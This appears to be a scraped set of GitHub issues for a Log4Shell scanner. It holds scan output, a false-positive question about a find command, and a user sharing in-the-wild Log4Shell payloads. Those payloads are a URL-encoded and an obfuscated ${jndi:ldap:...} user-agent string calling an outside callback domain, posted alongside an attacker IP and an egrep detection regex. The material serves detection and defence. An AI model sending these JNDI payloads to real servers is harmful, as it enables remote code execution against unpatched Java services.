[!] FILE: /var/log/gitlab/gitlab-rails/production_json.log.3.gz LINE_NUMBER: 6339 STRING: ${jndi:ldap:
[!] FILE: /var/log/gitlab/gitlab-rails/production_json.log.3.gz LINE_NUMBER: 6340 STRING: ${jndi:ldap:
[!] FILE: /var/log/gitlab/gitlab-rails/production_json.log.3.gz LINE_NUMBER: 6932 STRING: ${jndi:ldap:
[!] FILE: /var/log/gitlab/gitlab-rails/production.log.1.gz LINE_NUMBER: 1878 STRING: ${jndi:dns:/
[!] FILE: /var/log/gitlab/gitlab-rails/production.log.1.gz LINE_NUMBER: 1880 STRING: ${jndi:dns:/
[!] FILE: /var/log/gitlab/gitlab-rails/production_json.log.2.gz LINE_NUMBER: 5 STRING: ${jndi:ldap:
[!] FILE: /var/log/gitlab/gitlab-rails/production_json.log.2.gz LINE_NUMBER: 6 STRING: ${jndi:ldap:
[!] FILE: /var/log/gitlab/gitlab-rails/production_json.log.2.gz LINE_NUMBER: 474 STRING: ${jndi:ldap:
[!] FILE: /var/log/gitlab/gitlab-rails/production_json.log.2.gz LINE_NUMBER: 1422 STRING: ${jndi:ldap:
[!] FILE: /var/log/gitlab/gitlab-rails/production_json.log.2.gz LINE_NUMBER: 1423 STRING: ${jndi:ldap:
[!] FILE: /var/log/gitlab/gitlab-rails/production_json.log.2.gz LINE_NUMBER: 2527 STRING: ${jndi:ldap:
[!] FILE: /var/log/gitlab/gitlab-rails/production_json.log.2.gz LINE_NUMBER: 2528 STRING: ${jndi:ldap:
[!] FILE: /var/log/gitlab/gitlab-rails/production.log.3.gz LINE_NUMBER: 30592 STRING: ${jndi:ldap:
[!] FILE: /var/log/gitlab/gitlab-rails/production.log.3.gz LINE_NUMBER: 30594 STRING: ${jndi:ldap:
[!!!] 50 exploitation attempts detected in the complete scan
[.] Finished scan DATE: 2021-12-14 05:50:44.095624
[.] Scan took the following time to complete DURATION: 0 hours 16 minutes 40 seconds

New payloads

These payloads do not appear with a google or github search so I think they are new. Cloudflare WAF has pretty good detection rules for this, but their WAF did not block these.

Please close this issue or do what you like with this information, I just wanted to share these somewhere where they may have some impact. I did not test them with this repo.

IP:
89.248.173.140

path query:
/%3Fx=$%7Bjndi:ldap:/guidedhacking.com.c6tsifp2pij91e3kaft0cg7h1xayyyyyn.explorelocalpaths.com/a%7D

user agent:
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://{{Hostname}}.c6tsifp2pij91e3kaft0cg7h1xayyyyyn.explorelocalpaths.com}

it appears their expansion of {{Hostname}} did not work as intended in the useragent

find command reports [wj]ar as listing log4j, but manual inspection diverges

Hi there,

many thanks again for all the hard work!

The following command returns several matches for a Java program on a machine we have:

find . -name '*[wj]ar' -print -exec sh -c 'jar tvf {} | grep log4j' \;

But, a manual inspection of those matched files shows empty grep results. For example, the following file matches:

./lib/xml.jar

If I run jar tvf on that, then I get the output in the attached file:

https://www.dropbox.com/s/snzdgxzlx9fhucy/lib_xml_jar_tvf.txt?dl=0

Running this through grep log4j returns an empty result:

me@host:/opt/IBM/SPSS/Concurrent_Licensing_Tools/sentinellm/JRE$ jar tvf ./lib/xml.jar | grep log4j

me@host:/opt/IBM/SPSS/Concurrent_Licensing_Tools/sentinellm/JRE$

I am not a pro with the find command, so not sure how to adjust it.

Best wishes and many thanks,
Rob

Need assistance with script

I submitted an issue previously but it was closed without a resolution. Below is the log file. At the end of the script it says it found one exploit attempt, but there were none listed in the actual script per the screenshots of the script on the main page. Simply a deobfuscated string which I'm well aware of that data is in plain text, and isn't an exploit attempt. So unsure why it's stating exploit attempt. Any clarification would be appreciated.

<
[.] Starting scan DATE: 2021-12-13 11:37:03.460995
[.] Scanning FOLDER: /var/log ...
[.] Processing /var/log/syslog.3.gz ...
[.] Processing /var/log/syslog.7.gz ...
[.] Processing /var/log/debug.1 ...
[.] Processing /var/log/fontconfig.log ...
[.] Processing /var/log/syslog.2.gz ...
[.] Processing /var/log/user.log.3.gz ...
[.] Processing /var/log/syslog.1 ...
[.] Processing /var/log/debug.4.gz ...
[.] Processing /var/log/dpkg.log.2.gz ...
[.] Processing /var/log/alternatives.log.2.gz ...
[.] Processing /var/log/auth.log.2.gz ...
[.] Processing /var/log/debug.3.gz ...
[.] Processing /var/log/daemon.log.3.gz ...
[.] Processing /var/log/debug ...
[.] Processing /var/log/btmp ...
[.] Processing /var/log/daemon.log.4.gz ...
[.] Processing /var/log/lastlog ...
[.] Processing /var/log/daemon.log.2.gz ...
[.] Processing /var/log/auth.log.1 ...
[.] Processing /var/log/dpkg.log.4.gz ...
[.] Processing /var/log/user.log.1 ...
[.] Processing /var/log/vncserver-x11.log ...
[.] Processing /var/log/user.log ...
[.] Processing /var/log/wtmp ...
[.] Processing /var/log/auth.log.4.gz ...
[.] Processing /var/log/user.log.2.gz ...
[.] Processing /var/log/alternatives.log.3.gz ...
[.] Processing /var/log/Xorg.0.log ...
[.] Processing /var/log/bootstrap.log ...
[.] Processing /var/log/kern.log.1 ...
[.] Processing /var/log/Xorg.0.log.old ...
[.] Processing /var/log/kern.log.4.gz ...
[.] Processing /var/log/dpkg.log ...
[.] Processing /var/log/messages.3.gz ...
[.] Processing /var/log/auth.log.3.gz ...
[.] Processing /var/log/syslog ...
[.] Processing /var/log/messages.4.gz ...
[.] Processing /var/log/dpkg.log.1 ...
[.] Processing /var/log/messages ...
[.] Processing /var/log/daemon.log.1 ...
[.] Processing /var/log/syslog.4.gz ...
[.] Processing /var/log/alternatives.log ...
[.] Processing /var/log/kern.log.3.gz ...
[.] Processing /var/log/btmp.1 ...
[.] Processing /var/log/syslog.5.gz ...
[.] Processing /var/log/messages.1 ...
[.] Processing /var/log/dpkg.log.3.gz ...
[.] Processing /var/log/daemon.log ...
[.] Processing /var/log/debug.2.gz ...
[.] Processing /var/log/auth.log ...
[.] Processing /var/log/messages.2.gz ...
[.] Processing /var/log/alternatives.log.4.gz ...
[.] Processing /var/log/faillog ...
[.] Processing /var/log/user.log.4.gz ...
[.] Processing /var/log/syslog.6.gz ...
[.] Processing /var/log/boot.log ...
[.] Processing /var/log/kern.log.2.gz ...
[.] Processing /var/log/kern.log ...
[.] Processing /var/log/alternatives.log.1 ...
[.] Processing /var/log/vncserver-x11.log.bak ...
[.] Processing /var/log/lightdm/x-0.log ...
[.] Processing /var/log/lightdm/lightdm.log.old ...
[.] Processing /var/log/lightdm/lightdm.log ...
[.] Processing /var/log/lightdm/seat0-greeter.log ...
[.] Processing /var/log/lightdm/x-0.log.old ...
[.] Processing /var/log/lightdm/seat0-greeter.log.old ...
[.] Processing /var/log/cups/error_log.2.gz ...
[.] Processing /var/log/cups/access_log.1 ...
[.] Processing /var/log/cups/error_log.4.gz ...
[.] Processing /var/log/cups/access_log.7.gz ...
[.] Processing /var/log/cups/error_log.5.gz ...
[.] Processing /var/log/cups/access_log ...
[.] Processing /var/log/cups/access_log.4.gz ...
[.] Processing /var/log/cups/error_log.3.gz ...
[.] Processing /var/log/cups/access_log.6.gz ...
[.] Processing /var/log/cups/error_log.6.gz ...
[.] Processing /var/log/cups/error_log.7.gz ...
[.] Processing /var/log/cups/access_log.2.gz ...
[.] Processing /var/log/cups/access_log.5.gz ...
[.] Processing /var/log/cups/error_log ...
[.] Processing /var/log/cups/error_log.1 ...
[.] Processing /var/log/cups/access_log.3.gz ...
[.] Processing /var/log/samba/log.smbd.1 ...
[.] Processing /var/log/samba/log.smbd ...
[.] Processing /var/log/samba/log.%m ...
[.] Processing /var/log/samba/log.nmbd ...
[.] Processing /var/log/samba/log. ...
[.] Processing /var/log/samba/log.192.168.15.7 ...
[.] Processing /var/log/samba/log.desktop-q4t69gh ...
[.] Processing /var/log/samba/log.nmbd.1 ...
[.] Processing /var/log/apt/term.log.1.gz ...
[.] Processing /var/log/apt/term.log.4.gz ...
[.] Processing /var/log/apt/history.log.4.gz ...
[.] Processing /var/log/apt/history.log.1.gz ...
[.] Processing /var/log/apt/history.log ...
[.] Processing /var/log/apt/term.log.2.gz ...
[.] Processing /var/log/apt/term.log ...
[.] Processing /var/log/apt/history.log.2.gz ...
[.] Processing /var/log/apt/history.log.3.gz ...
[.] Processing /var/log/apt/term.log.3.gz ...
[.] Processing /var/log/apt/eipp.log.xz ...
[!] FILE: /var/log/auth.log LINE_NUMBER: 124 DEOBFUSCATED_STRING: ${jndi:nds:/ LINE: Dec 13 10:56:12 raspberrypi sudo: pi : TTY=pts/0 ; PWD=/home/pi ; USER=root ; COMMAND=/usr/bin/egrep -I -i -r $({|%7B)jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http):/[^\n]+ /var/log
[!] 1 files with exploitation attempts detected in PATH: /var/log
[!!!] 1 exploitation attempts detected in the complete scan
[.] Finished scan DATE: 2021-12-13 12:01:46.740776
[.] Scan took the following time to complete DURATION: 0 hours 24 minutes 43 seconds

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.